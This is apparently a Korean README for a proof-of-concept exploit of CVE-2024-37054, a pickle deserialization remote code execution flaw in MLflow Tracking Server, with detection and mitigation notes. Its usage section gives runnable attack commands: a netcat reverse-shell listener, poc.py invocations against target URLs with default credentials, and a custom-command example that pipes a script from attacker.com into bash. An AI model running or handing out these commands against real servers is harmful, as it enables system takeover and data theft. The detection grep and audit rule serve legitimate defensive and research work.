
CVE-2024-37054에 대한 개념 증명 익스플로잇으로, MLflow Tracking Server의 pickle 역직렬화 RCE입니다. 인증된 공격자는 모델 아티팩트를 덮어써 원격 코드 실행을 달성할 수 있습니다. 탐지 및 완화 지침이 포함되어 있습니다.
MLflow Tracking Server의 심각한 pickle 역직렬화 취약점에 대한 개념 증명(PoC) 익스플로잇으로, 인증된 원격 코드 실행을 가능하게 합니다.
⚠️ 교육 및 승인된 보안 테스트용으로만 사용하세요. 소유하지 않았거나 명시적인 서면 허가를 받지 않은 시스템에 사용하지 마세요.
| 필드 | 값 |
|---|---|
| CVE ID | CVE-2024-37054 |
| CVSS 점수 | 8.8 (높음) |
| CVSS 벡터 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| 영향받는 버전 | MLflow < 2.14.3 |
| 패치된 버전 | MLflow ≥ 2.14.3 |
| 취약점 유형 | CWE-502: 신뢰할 수 없는 데이터의 역직렬화 |
| 공격 경로 | 네트워크 |
| 필요한 권한 | 낮음 (유효한 자격 증명) |
| 사용자 상호작용 | 없음 |
MLflow Tracking Server는 추론을 위해 모델을 로드할 때 Python의 pickle 모듈을 통해 모델 아티팩트를 역직렬화합니다. 인증된 공격자는 MLflow의 아티팩트 저장소에 있는 python_model.pkl 아티팩트를 악성 pickle 페이로드로 덮어쓸 수 있습니다. 이후 모델이 로드되면(예: 예측 요청 중) 페이로드가 역직렬화되어 서버에서 임의 코드가 실행됩니다.
악용을 위한 전제 조건:
성공적인 악용은 MLflow 서버 프로세스의 권한 수준에서 원격 코드 실행을 가능하게 하며, 이는 전체 시스템 장악, 데이터 유출, 측면 이동 또는 지속적 접근 권한 유지로 이어질 수 있습니다.
python_model.pkl 아티팩트가 PUT /api/2.0/mlflow-artifacts/artifacts/...를 통해 제작된 pickle 페이로드로 교체됩니다.pickle.load()를 호출합니다.__reduce__ 메서드가 os.system()을 호출하여 공격자의 명령을 실행합니다.페이로드는 cloudpickle 대신 os.system()(C 내장 함수)을 사용하여 여러 버전 간 호환성을 극대화하고 Python 버전별 바이트코드 문제를 피합니다.
요구 사항: Python 3.7+, requests
git clone https://github.com/ben-slates/CVE-2024-37054
cd CVE-2024-37054
# Start a listener
nc -lvnp 4444
# Run the exploit
python3 poc.py <TARGET_URL> <MLFLOW_URL> <LHOST> <LPORT>
# Default credentials, basic reverse shell
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444
# Custom MLflow credentials
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--mlflow-creds admin:MySecretPass123
# App login + MLflow credentials
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--mlflow-creds admin:password \
--app-username admin \
--app-password admin123
# Custom command instead of reverse shell
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--cmd "curl http://attacker.com/shell.sh | bash"
# Target specific experiment, increase delay for slow servers
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 \
--experiment-id 1 --delay 5
# Verbose output
python3 poc.py http://app.local http://mlflow.local 10.10.14.5 4444 -v
| 인자 | 설명 |
|---|---|
target | 대상 애플리케이션 URL |
mlflow | MLflow Tracking Server URL |
lhost | 리버스 셸 콜백을 위한 공격자 호스트 |
lport | 리버스 셸 콜백을 위한 공격자 포트 |
--mlflow-creds USER:PASS | MLflow 자격 증명 (기본값: admin:password) |
--app-username | 애플리케이션 로그인 사용자 이름 |
--app-password | 애플리케이션 로그인 비밀번호 |
--app-login-url | 로그인 엔드포인트 경로 |
--upload-url | 업로드 엔드포인트 경로 |
--predict-url | 예측 엔드포인트 경로 |
--experiment-id ID | 특정 실험 ID 대상 지정 |
--delay SECONDS | 단계 간 지연 시간 (기본값: 2초) |
--cmd COMMAND | 실행할 사용자 지정 명령 |
--verbose / --quiet | 출력 상세 수준 제어 |
--no-color | 색상 출력 비활성화 |
/api/2.0/mlflow-artifacts/artifacts/ 엔드포인트에 대한 PUT 요청python_model.pkl의 예상치 못한 수정 타임스탬프POST /api/2.0/mlflow/runs/search 직후 이어지는 아티팩트 수정os.system() 호출# Artifact modification in access logs
grep "PUT.*python_model.pkl" /var/log/mlflow/access.log
# File integrity monitoring
auditctl -w /opt/mlflow/artifacts/ -p wa -k mlflow_artifacts
즉시 조치:
장기 조치:
이 도구는 다음 목적으로만 사용됩니다:
소유하지 않았거나 명시적인 서면 허가를 받지 않은 시스템에는 이 도구를 사용하지 마세요. 저자는 오용에 대한 책임을 지지 않습니다.
MIT — 자세한 내용은 LICENSE를 참조하세요.